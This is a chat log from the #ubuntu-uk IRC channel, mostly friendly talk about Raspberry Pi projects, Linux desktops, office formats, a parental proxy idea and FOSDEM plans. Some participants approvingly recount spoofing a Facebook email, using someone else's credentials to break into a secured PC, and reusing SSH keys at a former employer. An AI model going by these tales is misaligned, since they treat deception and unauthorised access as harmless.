<mapps> grmpf
<mapps> so pi crashed and noone can restart it
<zmoylan-pi> sounds like the card went corrupt?
<daftykins> again! you must be doing something odd like using an insufficient power supply for whatever's connected
<daftykins> zmoylan-pi would know though ;)
<mapps> oh i mean noone can restart as noione's there
<mapps> heh
<zmoylan-pi> the pi b could be tempermental about power if you used too little
<mapps> dad left this morning before i could ask him to restart it
<mapps> could it simply be i had too much running?
<mapps> openvpn/pptp vpn/apache etc
<zmoylan-pi> so you want 2 pis there in future each with option to kill power of the other :-)
<mapps> the 2nd pi i have at my dads place doesnt seem to crash like this
<mapps> ?
<daftykins> more reliable card? *shrug*
<daftykins> power stats on the supply, as above? etc
#ubuntu-uk 2015-01-15
<knightwise> morning everyone
<mapps> hi all
<mapps> morning knightwise
<knightwise> mornin mapps
<knightwise> how are you doing today
<mapps> not bad just got in from work 20mins ago
<mapps> watching an ep of stalker then bed:)
<knightwise> I just got up
<knightwise> doing some little things before I go work for the client
<mapps> wheres t5he client
<knightwise> one of them is installing emulation station on my pi
<knightwise> Client is in brussels , but i'm working from home today
<mapps> emulation station??
<knightwise> http://www.emulationstation.org/gettingstarted.html#install_rpi_standalone
<mapps> will have a rad
<mapps> read
<mapps> not sure what its for:)
<knightwise> retro games
<mapps> ah cool
<knightwise> played with retropie for a bit but I cant seem to get the controller working
<knightwise> deciding to give emulation station a try on top of raspbian
<mapps> what controller you using?
<knightwise> some simple nintendo clone usb controller
<MooDoo> hello all
<knightwise> Mooooh Dooo !
<MooDoo> :D
<knightwise> hey MooDoo, hows it hangin dude
<MooDoo> knightwise: just tried failover on my websserver, it worked so I'm a happy bunny :D
<knightwise> i'm compiling "emulation station" on my raspberry pie
<knightwise> its gonna take ages
<MooDoo> I'm using hyper-v cough cough
<knightwise> ive got faster machines over here too , but the pie is working pretty well for me
<knightwise> its limited possibilities help me focus a little more
<davmor2> Morning all
<MooDoo> sweeet, my pie is in a box somewhere in my garage lol
<MooDoo> howdy davmor2 ow am ya
<davmor2> MooDoo: Rockin dude you?
<knightwise> i'm amazed how many geeks 'throw out' their raspberry pie when they are done with it
<knightwise> (or run out of patience with it)
<knightwise> I always thought they would at least keep it in service on some project like a webserver or something
<MooDoo> knightwise: I've never even plugged it in,
<MooDoo> davmor2: yeah man ok thanks :D
<knightwise> MooDoo: blasphemy :p
 * knightwise thinks MooDoo should ship it to him :)
<knightwise> I'll adopt it :)
<knightwise> give it a pet name
<knightwise> put it to good use
<knightwise> call it 'Moodoopuppy'
<MooDoo> lol if i can find it you are welcome to it
<knightwise> LOL
<knightwise> MooDoo: you're not one of those hoarders are you ?
<knightwise> brb , reboot
<MooDoo> knightwise: moi [yes]
<davmor2> knightwise: I don't like the name Moodoopolis sounds much better
<knightwise> MooDoo: I ghasp !
<knightwise> davmor2: lets make MooDoo 's pi into a bedroom webcam with https access
<knightwise> lets see how fast he will find it then
<MooDoo> lol it's currently in the garage in a box somewhere
<cocoa117> with ubuntu preseed, is there any documentation for partman, partman-lvm, partman-auto, partman-* etc so I know all the avaliable variables to use?
<JamesTait> Good morning all; happy Super Bowl I Anniverary Day! :-P
<davmor2> JamesTait: hmmmmm maybe pick something we might care about ;)
<davmor2> Happy soup bowl day :)
<JamesTait> davmor2, I care about the Super Bowl. Even if I am too old to stay up late enough to watch it these days. ;)
<knightwise> hey guys
<davmor2> knightwise: hey
<knightwise> hey davmor2
<knightwise> how are you today
<davmor2> busy :)
<davmor2> JamesTait: you were born in a Rugby playing nation your wife comes from another rugby playing nation, why would you watch the wussy we need padding naff version ;)
<JamesTait> davmor2, liking American football doesn't preclude me from enjoying rugby as well. ;) Besides, without seeing the pouring rain, how am I supposed to appreciate the sunshine?
<davmor2> JamesTait: you watch the springboks play sun, you watch the all blacks play sun, you watch Australia play sun, you watch England play rain/grey, you watch Wales play RAIN, you watch Scotland play Torrential Down POUR!
<davmor2> oh :P
<brobostigon> morning boys and girls.
<JamesTait> brobostigon, o/
<davmor2> brobostigon: morning dude
<brobostigon> morning JamesTait and davmor2
<knightwise> Good morning sir brobostigon
<brobostigon> good morning knightwise
<ThomasRedstone> davmor2, you forgot snow, fog, hail, mostly for Scotland :-)
<davmor2> ThomasRedstone: haha
<knightwise> Man .. We have so much wind here it feels like we're in friggin Mongolia
<davmor2> knightwise: you might want to ease of eating beans then
<knightwise> pfffff!
<davmor2> knightwise: see there you go again being all windy ;)
<knightwise> There is no fart unicode to express my flatulence
<davmor2> http://www.emoji-dictionary.com/emoji-21901--Fart*farting.html
<JamesTait> Trust davmor2! ;)
<davmor2> JamesTait: I just googled
<awilkins> I usually use the tortoise
<awilkins> Somehow it's funnier when it's a fart-powered tortoise going *zooom*
 * JamesTait shudders to think what davmor2's Google search history looks like.
<knightwise> sendemail = Great
<davmor2> JamesTait: looks like google docs, launchpad and fart unicode symbol for today :)
<knightwise> just spoofed an email from Facebook to my mum in law warning her about her impending candy crush addiction and how it has negative repurcussions on her family
<davmor2> oh and moztrap
<knightwise> she was on the phone with my wife 5 minutes later asking "how they knew" :)
<davmor2> hahaha
<DJones> Heh love it, http://poolhouse.s3.amazonaws.com/blog-assets-two/2015/01/pwJ2n4U.gif
 * knightwise is a little evil when it comes to teasing mum in law
<ThomasRedstone> lmao, nice! :-)
<shauno> pretty windy here too knightwise.  I suspect if we stuck a sail up, we may be able to drive the whole island into the mainland
<ThomasRedstone> For most people here, is Ubuntu your primary OS?
<zmoylan-pi> xubuntu + xubuntu + raspian + s40 + android
<_sparr0w> afternoon
<Myrtti> Ubuntu and Android.
<_sparr0w> just saying I'm currently using 14.04 LTS, nice and stable :)
<brobostigon> ubuntu - debian - android - Haiku'OS
<ThomasRedstone> I'm just using Ubuntu and Android (never really considered that an OS choice before), though I do have a wide range of distros in Vbox
<ThomasRedstone> I dropped Windows when it just wouldn't let Vagrant work :-P Which happened to be the same time as I bought a new SSD, before that I dual booted with Windows 8, and if Vagrant had worked, I'd probably never have stopped dual booting...
<knightwise> Whats Vagrant ?
<ThomasRedstone> it's a tool that works with Virtualbox, or VMWare to give easily replicated development environments, so you can share one config file with people you work with, and they can work on a pretty accurate replica of a production system fairly quickly
<knightwise> ThomasRedstone: cool stuff
<awilkins> Using Ubuntu 14.04 on desktop, 14.10 on laptop
<awilkins> Use Ubuntu for server VMs but I still keep Windows in a virtualbox for Office
<ThomasRedstone> Yeah, it would have made dual boot seamless, if Windows had played nice, but screw Windows, if I *really* need it, I have an XP instance in Virtual Box
<knightwise> 14.04 on the desktop
<popey> foobarry has done well to stay out of here for a week or so. (unless he came back under a new nickname)
<awilkins> The only reason I use Office is because management has a dependency on it
<ThomasRedstone> Office? What's wrong with Vim? :-P
<ThomasRedstone> ah, fair enough
<awilkins> ThomasRedstone, Honestly, if I could, I would do all my work in Markdown
<awilkins> Most of my stuff is communicating requirements at the moment and I find using straight flat documents for it painful
<ThomasRedstone> the main reason people use office is "because we use office"
<awilkins> Exactly
<awilkins> Management not comfy with having to edit Markdown files to add their ten penny worth
<zmoylan-pi> a wyswyg editor for markdown then?
<ThomasRedstone> VIM + GIT + http://johnmacfarlane.net/pandoc/ - management get their Word docs, you write your markdown
<awilkins> Nice theory
<zmoylan-pi> so they get their bold/underline/italic buttons
<awilkins> Shame about the practise
<awilkins> Pandoc's DOCX output is excretional
<awilkins> For whatever reason
<awilkins> Markdown -[pandoc]-> ODT  -> DOCX a bit better but still terrible
<ThomasRedstone> ouch :-) shame, RTF is a perfectly good format though, and works fine in Word, but I get it, management can get very funny about "those weird files you keep sending"
<awilkins> I devoted some serious thought to writing either... a markdown parser in VBA
<awilkins> Or a pandoc output filter that writes COM Automation script that manipulates a running copy of Word to write the document
<awilkins> Both would probably provide much better results
<awilkins> The MOO-XML formats are so horribly complex because they are just XML serializations of the internal binary formats of Office.
<awilkins> Therefore the only software that is good at writing them is Office.
<awilkins> Better to produce something simple that gets the document into Office through another route, than try writing something complex that writes DOCX
<ThomasRedstone> ah, so it would be generated directly within Word, so the files would be perfect, I've got a friend who used to do a lot of programming in VB within Access to get around crazy policies at his old place, Office is very powerful, but 99% of people need nothing more powerful than Wordpad...
<awilkins> Yeah, pretty much
<awilkins> re: crazy programming policies
<awilkins> Yes
<zmoylan-pi> wordpad with spellcheck
<awilkins> My last employer got a "Whitelisting" thing in
<awilkins> Only approved executables were allowed!
<awilkins> This included DOS batch files.
<awilkins> And VBScript
<awilkins> No automating things for you!
<ThomasRedstone> ouch, that's harsh, so you couldn't even write your own macros?
<awilkins> How DARE you try and be more productive! You must be a HACKER.
<zmoylan-pi> rename all you batch files explorer.exe in different locations :-P
<awilkins> zmoylan-pi, It did hash checking, the full 9 yards
<ThomasRedstone> bastards
<awilkins> Was a total PITA, they still didn't have a proper way of approving of internally developed packages
<awilkins> when I left
<zmoylan-pi> i would just have him come over every hour to whitelist a new file till he gave up
<awilkins> You could make a JAR file and as long as the Java had been approved you could run anything :-)
<awilkins> You could also run Powershell scripts to your hearts content
<awilkins> But batch files? Sorry, you changed a comment... re-approve of this file!
<ThomasRedstone> So it was completely pointless
<awilkins> Basically, yes
<awilkins> Sucked the life out of the machines
<awilkins> Took a process that took 2 minutes to 14 minutes because it was hashing all the files it was writing
<ThomasRedstone> you know, most operating systems have these things called permissions, and user levels, and they've been found to be really useful for restricting users :-) someone should let people know about it...
<ThomasRedstone> I hear that even Windows has them!
<zmoylan-pi> i was once asked to install a program i'd written on a 'locked down' pc on a secure network.  after a week of trying to find people and get permissions i accessed network and broke into it and did the install in about 2 hours as requests were going nowhere.
<ThomasRedstone> lol, so not a locked down PC, not a secure network :-)
<zmoylan-pi> it was in locked room and was a /securish/ network but there's always 1-2 people who have to have access everywhere. often a lowly person who does lots of little jobs.  once i had their credentials, mapped out the ip addresses and found my 'victim' i got it done
<zmoylan-pi> it was the security industry. guards, burgalar alarms and so on.  most of those businesses are started by a disgruntled staff member walking out the door and taking 200 or so customers with them.  so they try to restrict staff access to customer lists
<zmoylan-pi> the same customers they drive to every day so it's kinda hard :-)
<ThomasRedstone> That's real problem with these security paranoid places, so often they don't really know what they're doing, I worked at a place that had an FTP server for clients, which was also an SFTP server, and by extension, it had port 22 open. They really didn't accept that it was a serious weakness, when ever someone left they changed passwords, but a month or two after I left I checked, and my keys were still good, I removed them, and logged
<ThomasRedstone>  out
<knightwise> time to reinstall the pi
<knightwise> been fumbling around with it for a couple of days , but I haven't had a lot of success so far
<ThomasRedstone> I guess it means they can only steal their own customers, instead over all of them, but why are the customers so easy to steal? Are the guys leaving the best? Or just undercutting price?
<zmoylan-pi> one place which locked down the printers, floppy drives, zip disks and usb drives plus a super secure network to stop staff nicking customer lists.  the manager was so proud.  so i used my then nokia 3650 to film a scrolling customer list remotely from our office
<zmoylan-pi> camera phones were banned in their office. and emailed the list to the manager showing how 'secure' his network was
<ThomasRedstone> you know what might be simpler? Make your staff happy
<ThomasRedstone> I know a web developer who was accused of stealing a customer list, but the reality was he had no need to, the customers were flocking to him, looking him up on LinkedIn!
<zmoylan-pi> making staff costs money, so does security but they think it's cheaper
<zmoylan-pi> *staff happy
<ThomasRedstone> happy staff do have other benefits, security is going to make staff less happy, and security is impossible, unless they're going to go to the point where they're going to frisk you every time you enter the office, even then, a button camera is pretty hard to spot...
<ThomasRedstone> heck, can they really combat someone with a really good memory?! Remember ten customers a day, maybe twice a day if you go for lunch, write them down when you get to your car, a few weeks, you've got the whole list
<zmoylan-pi> did they ban pencils so you couldn't just write them down at work? the fiends!! :-)
<ThomasRedstone> well, I was assuming they weren't allowing paper to leave the office :-P
<zmoylan-pi> that would be a hard one to enforce
<ThomasRedstone> It's not entirely unusual, oh yeah, they're visiting clients, so yeah, it'd be impossible :-)
<awilkins> ThomasRedstone, the problem being fixed by the whitelisting thing was the lack of an X bit on Windows
<awilkins> You can download and unpack and run any executable
<awilkins> On Linux, you fix this by mounting /home  noexec
<awilkins> On Windows, they have that stupid tacked-on-afterwards "Blocked" thing
<awilkins> Which requires the thing you download with to write special magic
<awilkins> The problem is basically education and senior management dictat
<awilkins> Seniors say : THIS MUST BE DONE
<zmoylan-pi> the problem is liquid lunches and dodgy salesmen
<awilkins> People scurry to try and do it rather than say "That isn't really very practical and you should probably just improve the education of your staff in terms of stupid computer usage"
<awilkins> And that
<awilkins> Someone selling the latest snake oil
<awilkins> They were running all our calls through a signals intelligence program too. Voice reco and transcription and analysis.
<awilkins> Verint
 * zmoylan-pi intends to hand next boss a buzzword bingo card when comes back from those meetings and asks him to check off which words were used
<awilkins> Only found out because the IT changelogs bitched about not having enough storage for all the VoIP logs
<awilkins> Not which of these levels management culture is borked on  : The West / UK / UK Government / Corporate
<awilkins> Problem to me seems to be people making dictats in ignorance of complex issues and not being willing to hear feedback that contradicts them
<awilkins> "But I am senior to you and earn more! I cannot be improved upon! You are WRONG!"
<awilkins> This may be why startups do most of the innovation
<bigcalm> Good morning peeps :)
<awilkins> Because the guys in charge are the guys actually thinking things up and have no-one to use threat of force (job loss / etc) on them when they disagree with something they thought up themselves.
<ThomasRedstone> well, and if they don't innovate, how the hell are they going to go from nothing to a huge company? Because unless a startup becomes *big*, it's pretty much failed, it's not like a regular business, where paying the owners a living wage is enough...
<mapp> yo
<ThomasRedstone> yo yo mapp!
<diddledan> I need chocolate
<awilkins> I have chocolate
 * zmoylan-pi passes the chocolate around
<diddledan> random crazy apple predictions based on no sources: http://beta.techradar.com/news/computing-components/processors/apple-to-use-its-own-cpus-in-future-imac-and-macbooks--1280670
<zmoylan-pi> well they do own a serious chunk of arm
<awilkins> ARM makes no CPUs
<zmoylan-pi> but they do design them
<awilkins> Yes
<Kento> Hi guys I have a wifi/bluetooth issues. Can anyone help me please?
<awilkins> But people who make them license them from ARM
<zmoylan-pi> so apple could make an arm chip themselves
<awilkins> World of difference, owning a CPU CAD and owning a CPU FAB
<davmor2> Kento: give some more details and people might be able to help you
<awilkins> CPU fab is your basic huge multibillion dollar risk
<zmoylan-pi> apple dropped how much on their glass plant experiment?
<davmor2> popey: did you see the latest Magazine build your own 3g printer
<popey> yeah
<popey> resisting because those projects always end up super expensive
<Kento> Hi guys . My wifi connection is working bad. It disconnects often automatically and bluetooth is not working. Can anyone help me please?(Ralink corp. RT3290 Wireless 802.11n 1T/1R PCIe)
<Kento> lspci output is : http://paste.ubuntu.com/9756380/
<davmor2> popey: only Â£640.10  :)
<knightwise> hey guys :)
<davmor2> Kento: a quick google gave me this http://askubuntu.com/questions/375543/problems-about-the-drivers-for-ralink-rt3290-wi-fi-adapter
<knightwise> stupid question , but how do you write a simple interactive script
<knightwise> for example : ping $viariable but I want to enter the variable when the script starts
<zmoylan-pi> a bash script or perl script?
<knightwise> bash
<knightwise> if i'm correct I can do it with the 'read' command
<knightwise> gotit :)
<knightwise> its simple but it works :)
<davmor2> popey: for comparison BQ's 3d printer is about 500 euros
<popey> yeah.
<bigcalm> Hi intrbiz
<Kento> Hi guys I have issue isntalling this driver ( sudo dkms install -m rt3290sta -v 2.6.0.0 --force) output : http://paste.ubuntu.com/9756560/    source: http://askubuntu.com/questions/545238/how-to-install-wifi-driver-ralink-rt3290
<Kento> .
<intrbiz> bigcalm: hi
<diddledan> http://www.bbc.co.uk/news/technology-30831128
<zmoylan-pi> ouch
<daftykins> no more glassholes \o/
<ali1234> who here has used one?
<Myrtti> I have
<daftykins> hopefully we're all too sensible
<Myrtti> even considered getting one
<ali1234> before or after you used it?
<Myrtti> both
<Myrtti> I just couldn't justify the price though
<Myrtti> so now I'm stuck waiting for Moore's law to make Android Wear the size I could use it
<ali1234> i found glass to be very disappointing when i used it
<diddledan> I like my android wear, but tend to only use it for the notifications mechanism
<diddledan> this looks fun: http://www.imdb.com/video/imdb/vi820751897/
<zmoylan-pi> i'll keep an eye out for that when it hits dvd :-)
<zmoylan-pi> kinda a remake of spys like us
<awilkins> Ok, daft question
 * shauno readies a daft answer
<awilkins> Is there a proxy that does something like make your kids write some code in exchange for internet time
<awilkins> Like, they have to write code that passes a set of unit tests, and in exchange they get 20 minutes youtube
<shauno> I really doubt it, but it shouldn't be too difficult to hack together with squid etc?
<awilkins> Getting kinda tired of seeing my daughter pee her time away with hairdo videos
<daftykins> how old's the nipper in question?
<zmoylan-pi> a really really complex captcha... :-)
<awilkins> 10
<daftykins> even a time limited proxy would be ace, with kinda enabled times for such timewasting sites
<daftykins> assuming it's as simple as youtube say
<popey> you could easily make a captive portal
<popey> with a timeout
<awilkins> Think that the Young Lady's Illustrated Primer from Diamond Age would be cool
<awilkins> But probably outside my coding reach ;-_
<popey> awilkins: this idea has legs
<zmoylan-pi> just block video sites?
<popey> no no no
<popey> you want them to visit the video sites
<popey> because they have to do the work to get that reward
<popey> carrot innit
<awilkins> popey, Yeah, I thought it was a good idea when I thought of it but when to find the time...
<popey> post on twitter, get someone else to do it
<awilkins> Hmm
<awilkins> I shall do that immediately
<shauno> cherry-picking sites is difficult.  I know (from much experience as a lazy git) that the internet is full of ways to waste time, and I can just find another
<awilkins> And think about it some more
<popey> I'm serious. it's a great idea
<awilkins> Why cherry pick
<popey> yeah, have achievements
<popey> unlock youtube by doing X
<awilkins> Just block everything until they complete educational tasks
<daftykins> shauno: very true
<popey> unlock minecraft with Y
<shauno> I mean re: just blocking video sites.
<shauno> just make sure it's pluggable so that different challenges can be added :)
<popey> yeah
<shauno> tonight some coding, tomorrow night spelling practice ..
<popey> maths problems
<popey> tesco shopping
<popey> :)
<awilkins> juggle the challenge -> site mappings around
<awilkins> See what they favour and make that the reward for the least proficient task
<awilkins> Khan Proxy
<daftykins> a mate was meant to be doing his PhD so i told him to point reddit and imgur to localhost via his hosts file ;)
<shauno> or just shave her head so she finds hairdo vids less interesting ;)
<awilkins> Both she and her mother would have a fit
<awilkins> Long hair people
<daftykins> is it a term for a genre or just this daft recent fashion?
<shauno> heh.  I know the type.  I used to be one
<daftykins> granted i say recent as it takes a while for London fashion to reach the shores of the Channel rocks ;)
<shauno> it is a very interesting idea though.  my only concern would be that, well, for myself I think coding is 90% google
<awilkins> Heh, I remember a time when it was 90% a local MSDN install
<zmoylan-pi> the best compromise would be a system that just blocks the web except for a limited time and you be able to add 'credit' to her device for work done?
<shauno> my other worry would be that it'd turn into an arms race to see who's the bigger smartass.  unit tests can be passed so easily
<shauno> eg, sort this list.  print(1 2 3 4 5 6 7 8 9 10).  insta-hairdo-vids
<awilkins> Doesn't have to be just unit tests... I'd settle for earning Khan Academy points
<awilkins> Ah, you don't tell them what the inputs are
<awilkins> "sort the arbitrary list passed in as parameter a"
<awilkins> Topcoder.com kinda thing
<awilkins> They used to run the tests with all kinds of edge cases to throw your code off
<awilkins> Green party now has more members than LibDems
<popey> lulz
<awilkins> And UKIP
<popey> also, Rage Against The Machine were xmas number one
<popey> never underestimate the power of the british public
<awilkins> SOmeone did point out that CAMRA has 4x as many members
<popey> haha
<awilkins> I said "I'd vote for them over the current lot, if only because they are more likely to be able to organise a piss-up in a brewery"
<daftykins> well that's something even i can get behind (CAMRA)
<awilkins> Their website seems a little bogged down
<awilkins> THink they are getting something of an enthusiastic membership drive ATM
<daftykins> CAMRA? web admin must be enjoyably tipsy from ale
<awilkins> No, greens
<daftykins> ah
<daftykins> i still need to kick a local politican about why it's allowed for local TLD domains (.gg) to cost Â£90 to reg and Â£45 renewal
<daftykins> i would put forth that it prevents local business actually reflecting that it is local
<awilkins> 18-24 vote now goes    32% Lab ; 22%   Green / Conservative
<awilkins> (only thing that surprises me there is the Conservatives tied for second...)
<zmoylan-pi> ukip are slipping? and conservatives are rising again?
<awilkins> Dunno
<diddledan> daftykins, just means folk will buy a .com
<daftykins> yeah most like even my doctors surgery just had a .co.uk
<diddledan> eew
<diddledan> that's even worse
<daftykins> which... isn't even accurate of course
<diddledan> mind you, I have a .it
<daftykins> wow it loads slow - http://www.islandhealth.co.uk/
<diddledan> and no, it's not "smeg.it"
<daftykins> although that'd be great
<shauno> lol, this is pretty good; https://github.com/ValveSoftware/steam-for-linux/issues/3671
<daftykins> i don't know what's worse, someone running that command or it doing that
<ThomasRedstone> ali1234, diddledan, I got a Moto 360 a few days ago, seems really good, still working out what use it is though ;-) worked well when I went for a run, and like you say, useful for notifications, timers are useful, but beyond that, mostly novel
<daftykins> any thoughts on where to look to diagnose a session failing and returning a user to lightdm?
<ThomasRedstone> I had that the other day, Cinnamon seems to have fixed it, daftykins :-P
<daftykins> err
<daftykins> you mean it happened with a unity session so you installed an alternative DE?
<ThomasRedstone> yeah, pretty much, I didn't like Unity all that much anyway, so is this a multi-user system, and only one user is having the problem?
 * m0nkey_ loves his Moto360 :)
<ThomasRedstone> who doesn't love a beautiful watch m0nkey_?!
<ThomasRedstone> this one is pretty damn beautiful!: http://shop.crackerbarrel.com/Sock-Monkey-Watch/dp/B00A7D11YY
<daftykins> ThomasRedstone: kodibuntu install where the media centre software Kodi (formerly known as XBMC) doesn't launch when the Kodi session is chosen
<ThomasRedstone> so it isn't anything to do with Unity
<daftykins> nope
<daftykins> just a lightdm/session quirk
<ThomasRedstone> can you login at the command line okay?
<ThomasRedstone> I need to go, but confirm you can login from a command prompt (Ctrl+Alt+f1 will get you one), if that works, you've narrowed down the potential issues, if it doesn't, you know it's not Lightdm
<daftykins> http://paste.ubuntu.com/9758543/
<daftykins> i get no detail from that 0o
<m0nkey_> Weeeeeeeh!
<diddledan> did the network just die?
<daftykins> it's rather sick
#ubuntu-uk 2015-01-16
<zmoylan-pi> splitters!
 * knightwise shakes fist
<mapito> hi all
<knightwise> hey mapito
<mapito> sup;]
<knightwise> nothing much
<knightwise> workin for da man
<mapito> this early?:D
<knightwise> yep
<knightwise> been up since 5.40
<mapito> damn
<mapito> doing what exactly
<zmoylan-pi> wondering where the sun went...
<mapito> ;]
<knightwise> I'm a freelance it consultnt
<knightwise> My client is in the us , so i can have flexible hours
<mapito> how was that emulartion thingy
<knightwise> need a bigger sd card to get it working
<knightwise> Got the games on there but it did not recognise the controller
<mapito> this state of affairs show is quite cool
 * knightwise dont have a tv :) 
<knightwise> well ,we dont have cable
<mapito> heh
<mapito> i dont have a tv here nor cabke
<mapito> cable since i moved
<knightwise> we have a tv in the living room
<knightwise> with a pc hooked up to it
<knightwise> and a chromecast
<knightwise> does everything we need
<zmoylan-pi> surely you can use jedi powers in place of controller knightwise? :-)
<mapito> i have 2 50!" in uk
<mapito> but nothing here
<knightwise> zmoylan-pi: I should be able to :p
<mapito> i do miss having my desk nice comfy chair and 2 big tvs
<mapito> cant fit a desk and big tv in my room here
<knightwise> but I dont think a commodore 64 rom from 83 supports a kineckt
<zmoylan-pi> as long as the kinnect can mimic a keyboard you'll be grand
<sebsebseb> hi
<knightwise>   hey sebsebseb
<sebsebseb> knightwise: hi
<knightwise> hey dude, hows it hangin
<sebsebseb> knightwise: yeah ok,  just thinking a bit hmm to the Belgium news.  todays, since going there soon
<knightwise> its not that bad..
<knightwise> just a raid in some town
<knightwise> news is making it sound like we have a terrorist cell ready to strike. little bit of a media huff
<knightwise> sebsebseb: where in belgium are you going ?
<sebsebseb> knightwise: Brussels for FOSDEM :)
<knightwise> cool :-
<knightwise> i'll be going too :)
<sebsebseb> you know what FOSDEM is right?
<knightwise> on saturday
<knightwise> yep :)
<knightwise> you flyin in from the Uk ?
<sebsebseb> knightwise: you shouldbe there on the FRiday evening really
<sebsebseb> for the beer event
<sebsebseb> and yes flying
<sebsebseb> you?
<sebsebseb> knightwise: oh your in Belgium  according to your host name
<knightwise> yep :)
<knightwise> About an hour from brussels
<sebsebseb> knightwise: right that's it,  your not alloweed here,  your not in UK :d
<sebsebseb> it's called ubuntu-uk
<sebsebseb> knightwise: oh wait I don't really use Ubuntu anymore, maybe I shound't be here either hten heh heh,  altough actsaully  I plan to buy a BQ Ubuntu Phone :d
<sebsebseb> however I got this awesome Jolla phone already now so :d
<MooDoo_> hello all
<sebsebseb> oh and popey likes me maybe,  I Have meet him in person twice at leas
<sebsebseb> t
<sebsebseb> MooDoo: hi
<knightwise> sebsebseb: coool :) hows that workin out for ya ?
<knightwise> been curious about them
<knightwise> morning MooDoo
<sebsebseb> knightwise: hows what working out for me?
<knightwise> that jolla phone
 * knightwise needs to reboot ... the first time i got up this morning I was all ugly .. perhaps if i reboot it will be gone
<sebsebseb> knightwise: oh  Jolla phone is interesting :)
<sebsebseb> LInux based OS
<sebsebseb> GUI is apprnatly propritary though or for now, but yes rather interesteing OS
<knightwise> cool :)
<sebsebseb> runs it's own OS,  has it's own apps, but here's the thing,  it's compatible with Android apps
<sebsebseb> so yes who needs Anroid now :d
<sebsebseb> I don't
<knightwise> its like a resurrection of the n900 ?
<sebsebseb> to me Android seems  to be so popular since it's from peoples beloved Google
<sebsebseb> and  since it's  pretty much open source,  loads of  different companies could use it so
<knightwise> well ... its one of the THE mainstream brands/OS's out there. (android is)
<sebsebseb> yes it's ok for what it is, but what Jolla runs is more interesting trust me :)
<sebsebseb> in fact
<sebsebseb> it runs Wayland
<sebsebseb> and BTFS as well
<sebsebseb> knightwise: proper  Linux geek phone :d  altough  they want to go main stremae really.  small company  by former NOkia people
<sebsebseb> and yes get actsaul proper  OS upates to :),  altough I  ignored the geeks who tol me to just go an upradei it straight away, since I Wanted to mess around with the old shipped version first
<mapito> isnt jolla from ex nokia people?
<sebsebseb> mapito: yes as I just put
<mapito> oh sorry didnt see
<mapito> its late im tired:)
<sebsebseb> mapito: late?  more like early
<sebsebseb> altouh depends on where people are from
<mapito> i work nights
<sebsebseb> oh right I see
<sebsebseb> knightwise: mapito need a differnet sim card  to use my Jolla phone as an actsual phone though
<sebsebseb> ,but about to switch network anyway
<sebsebseb> and then I'll have the one I need :)
<knightwise> sebsebseb: like a different format ?
<sebsebseb> knightwise: what you mean?
<knightwise> why do you need a different card for the jolla ?
<sebsebseb> since my old card isn't the right one
<sebsebseb> there's like four  sim cards
<sebsebseb> I need another type
<sebsebseb> I need a microsim or whatever yeah
<popey> sebsebseb: i thought jolla had open sourced everything in the UI now?
<sebsebseb> popey: I don't know maybe
<knightwise> morning popey
<knightwise> will you be coming to fossdem ?
<sebsebseb> maybe I should meet knightwise whoever that is whilst there :d
<knightwise> well .. i'm one of the few english-podcasting belgian podcasters you can meet at fossdem :)
<knightwise> www.knightwise.com sebsebseb :)
<knightwise> articles + podcast
<sebsebseb> oh
<popey> knightwise: maybe
<sebsebseb> popey: really your maybe coming?
<popey> indeed, maybe
<sebsebseb> Canonical willl pay for you to go?
<sebsebseb> :d
<popey> maybe :)
<knightwise> Coolz I owe you a drink for all the times you've helped me out
<knightwise> + for having one of the coolest brit radio voices i know
 * knightwise envious of popeys bass-like brawl
<sebsebseb> popey: ok  tell me if your coming closer to the time :D
<popey> lulz
<sebsebseb> knightwise: oh you haven't met popey before? I have
<knightwise> I should come over to oggcamp some day
<sebsebseb> popey is really an alien, whoops so much for that secret
<sebsebseb> :D
<sebsebseb> knightwise: yeah, but FOSDEM is way better than OGG Camp and oh I Know :d
<sebsebseb> way bigger to
<sebsebseb> differet styled events
<sebsebseb> OGG Camp has the UK feel to it
<sebsebseb> FOSDEM has that European internatioanl even feel
<knightwise> Fosdem does not have Laura"s delightfull northern accent
<sebsebseb> knightwise: altogh at FOSDEM get hose like
<sebsebseb> uhmm
<sebsebseb> well coloureful t-shirts
 * knightwise cannot search anything in duckduckgo without giggling
<sebsebseb> in like purple and green and such
<sebsebseb> I wasn't so sure the first year I went so didn't buy one, regret that a bit now, but ah well
<knightwise> sebsebseb: you're gonna be me guide ! :) its my first time at fosdem
<sebsebseb> OGG Camp gets well black t-shirts and such
<sebsebseb> can't go wrong with black really :)
<knightwise> depends
<knightwise> sizes are mostly too big for me
 * knightwise is scrawny
<sebsebseb> knightwise: you need to be there FRiday evening really
<sebsebseb> knightwise: beer event yeah
<sebsebseb> beer event is out of this world :d
<knightwise> lol
<sebsebseb> so full that if in UK, it would break some health and safety laws probably
<sebsebseb> since it gets so full
<sebsebseb> so packed way  to packed for that venue really
<sebsebseb> so full that  the quotee out side ends up going back to the near by road full of people,  mixed in with the smokers
<sebsebseb> packed full of people
<knightwise> Gotta dash , be back laters
<knightwise> business meeting in antwerp
<sebsebseb> knightwise: and  the guy I was with there last year, was worried when the lights up stairs went out
<sebsebseb> ok bye for now
<davmor2> Morning
<popey> sebsebseb: knightwise yes, I'm now booked to go to fosdem.
<sebsebseb> popey: when you going then?
<sebsebseb> and back?
<popey> fri-mon
<sebsebseb> and do you have to do a talk or something
<sebsebseb> or they just let you go?
<sebsebseb> Thursday to Monday for me
<popey> I am not giving a talk.
<sebsebseb> popey: how you getting there
<sebsebseb> train?
<sebsebseb> plane?
<popey> choo choo
<sebsebseb> train ok.
 * sebsebseb is tring to get some plans sorted out already to some extent now :d
<sebsebseb> so  Thursday should be hpefuly meeting some intersting people :)
<sebsebseb> in the evening
<sebsebseb> Friday maybe someone interesting to
<sebsebseb> Monday  not sure what wil happen
<sebsebseb> other than checking out etc, flying back in eveing
<davmor2> and auto mobiles
<popey> Those aren't pillows!
<popey> etc
<sebsebseb> popey: what are you going to do on Friday and Monday?
<sebsebseb> and so on
<sebsebseb> what are your plans in other words? :)
<popey> well I wont get there till late on friday
<popey> so will probably go directly to beer, do not pass go
<sebsebseb> do not pass go what's that?
<sebsebseb> and indeed beer event is on late
<davmor2> do not collect Â£200 for passing go
<sebsebseb> hmm I don't undersatnd it seems uh
<sebsebseb> I should be meeting two geek girls on the Thursday evening that wil be interesting
<davmor2> sebsebseb: just a word to the wise Geek Girl probably not a good thing to call them :)  Shockingly They prefer names or Ladies :)
<popey> sebsebseb: where you staying?
<popey> some do
<popey> I have a friend who attends "Geek Girl Dinners" in London.
<sebsebseb> davmor2: well yes names are used :)
<sebsebseb> popey: a cheap  hotel, a bit outside the centre
<popey> k
